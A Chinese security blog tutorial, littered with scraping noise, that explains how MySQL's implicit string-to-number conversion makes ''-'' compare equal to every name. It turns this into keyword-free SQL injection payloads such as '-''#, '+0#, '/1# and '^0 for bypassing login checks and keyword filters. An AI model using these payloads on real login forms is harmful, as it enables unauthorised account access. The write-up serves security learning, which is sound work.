我们先来看这样一个场景。
' Z' p& `; ~3 w% S! U3 I有以下表结构: 9 T" c$ o. b2 S. m6 ^# \
0 T* ~% b% l6 T8 a5 `, \, Zmysql> desc admin;
) e" _# S/ r9 z% m+----------+--------------+------+-----+---------+----------------+
4 |- }: I7 d/ d, l9 r5 f* r* h7 U| Field | Type | Null | Key | Default | Extra |
' }; `' v. k( a0 o" h3 g+----------+--------------+------+-----+---------+----------------+
5 o3 {4 r% _& g, k o" T| id | mediumint(9) | NO | PRI | NULL | auto_increment |
5 O% o1 h. X' |, R6 u$ z| name | char(32) | NO | UNI | NULL | |+ j' D% z$ ]/ A' j5 e+ g2 I
| password | char(32) | NO | UNI | NULL | |
9 i9 q t, c9 E& c8 M) c% C+----------+--------------+------+-----+---------+----------------+
, k0 m1 N! m' \6 J5 m* H- ]+ L3 rows in set (0.00 sec)5 L% l4 t0 r$ x$ o; ~6 Z0 l' E" H
执行select * from admin;,成功返回所有记录内容。
4 _ [& y$ t" f: m; ]
: @/ H# ]$ z) Q$ h) c- y- v
4 L, P& q, A4 {9 Y9 ^+----+--------+----------------------------------+
! u# I w! W, U* L| id | name | password |
4 Q5 f2 T1 _4 A( C Q* L+----+--------+----------------------------------+
- L* h0 d8 `! ]( W- |, U| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |+ P3 Q* {# c0 t: |: _
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
: A/ I* L5 p# j. f2 E| 4 | n00b | ff80e8508d39047460921792273533a4 |
9 t+ u9 H- d& n+ v$ H+----+--------+----------------------------------+# ^) H& l, |! Y
3 rows in set (0.00 sec)& r0 O, s0 {) u5 T* f' Q# G/ {
执行select * from admin where name=”;,没有匹配到任何记录。 9 ?$ M$ g( d0 G. E
# H) N- X4 L+ _
mysql> select * from admin where name = '';( m( j! m7 l g F. B5 Q/ F& {: T0 @
Empty set (0.00 sec)" @% { v9 Z3 n* k/ _1 F
那么我们来执行select * from admin where name = ”-”;
6 U& {. K4 M2 o, P5 l1 l
! t/ s; S* {" f0 _' e: }/ W' P: k, ]" S! z! o
+----+--------+----------------------------------+
" \ l& \7 q' A4 J" w; f7 s| id | name | password |# k8 G- ?- ?' b+ N, b) S
+----+--------+----------------------------------+: @1 R9 O% {) N/ |6 A4 h
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
8 R# S. M; s; v) C2 l" x| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
* B" z* {8 a. z| 4 | n00b | ff80e8508d39047460921792273533a4 |- F" A9 k( v1 L- c
+----+--------+----------------------------------+6 A# b, a# V( F# g+ c
3 rows in set, 3 warnings (0.00 sec)
# J1 ?" A+ N4 N9 ^* e( |可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 1 Z. Y6 @! D5 o) h* c
: a, L1 ]) `8 n0 h4 V0 {& C! W; S
mysql> show warnings;
, c" k4 s1 P( j7 U+---------+------+------------------------------------------
0 ?$ W. v/ d- V0 T0 T| Level | Code | Message
4 Y* {$ G, A2 D; ]' d j+---------+------+------------------------------------------, X3 }+ ^5 Q# ^4 B: o
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
6 r$ i( i' B4 M7 B# l/ V| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
. T% _8 {+ I# J1 E% {0 A( ?| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
' }( H! H- {3 D+---------+------+------------------------------------------, u4 r8 ^6 I' ]+ [2 I# d! H
3 rows in set (0.00 sec)
2 h$ c- H7 d/ S( C提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ( T0 ?9 i3 w9 n, s+ @
8 w: }# ~9 ?, |& j+ smysql> select ''-'';
: t+ L) q" V N4 c+-------+( N) K! p# S9 O2 b4 }( C9 n! f4 l# |
| ''-'' |* R1 H! y1 a6 d
+-------+
% g2 `4 |5 r6 E0 W| 0 |
% k- d4 B0 Y, C: ]4 V A! S1 l3 E# `+-------+
' X1 F/ N( t" C4 S1 i r, B1 row in set (0.00 sec); h) W5 [9 L$ c8 F, k: T8 N
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: ' f2 q6 x7 R- q' B! p$ U' |3 a
9 ^& r, ?2 ]* R: o- F6 F6 q7 O
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);: M9 R$ Q1 u8 V
+-----------------------------------------------------+' l, u, A. r" K
| CAST((select name from admin limit 1,1) as DECIMAL) |
5 Q* \2 w$ h3 K+-----------------------------------------------------+
& I- a, f% A. x& M. r8 T| 0 |
4 u$ O2 P' ]; A+-----------------------------------------------------+1 S# @8 X5 Y' X4 s- ?( W
1 row in set, 1 warning (0.00 sec)
; f+ K, s4 q0 h- q! {* }因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ; }7 |6 r+ n- u/ Y! L
8 T+ X) u: i: b! p2 P5 [SQL注入场景: http://www.sqlzoo.net/hack/ 0 J" R) Y! O0 Y3 D9 \
& O: N6 N- O: C r. W. @
* K- i) n3 U4 N$ Q" P! C$ ]
: W- ?' V, I. c: V# I0 ?8 j& z3 H) D0 ]; B5 R! V4 U
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 + ]- S1 N/ m1 \, r$ c) `
+ i4 U2 G# S' x那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 8 X' ?) y! d! M4 G% N: D
1 n. r" t0 x, B7 c$ Z8 L1 y' ^
: j- j. H4 T: ?! H
/ K4 a5 l/ M; ]% Q9 r
7 M4 I- z. K) l. |仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
' ^1 ]( j# j% E5 f* B
3 T- @2 q6 d/ a0 \9 @& O o / B% C9 i9 w- p/ f( `) o
; O1 Q0 B; b E6 m! w- L% R除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
5 N _0 S/ v, n2 P( l$ w* y- J6 ?# ^- \& j4 z- d
" x) d7 @. P' b7 b- F$ A# c
mysql> select ''/1;& X( Y- \% V7 x. u Q8 U# N
+------+
) @6 b: p! ?5 J. |( ~/ J| ''/1 |
4 N$ R% x* P$ A! g* `2 T) n+------++ l9 x3 O+ H9 V2 v
| 0 |9 C( x" ^2 t2 ? V- H5 z4 A
+------+
+ ]; b$ ]$ x% k7 u" ^- p1 row in set (0.00 sec)/ M! @( n# v5 c
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 5 B" y. {8 B3 D0 t
: `' K# \* {: M- C* Y. J: J1 ~
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
$ F1 Z3 Q0 u- Y/ D- F |
|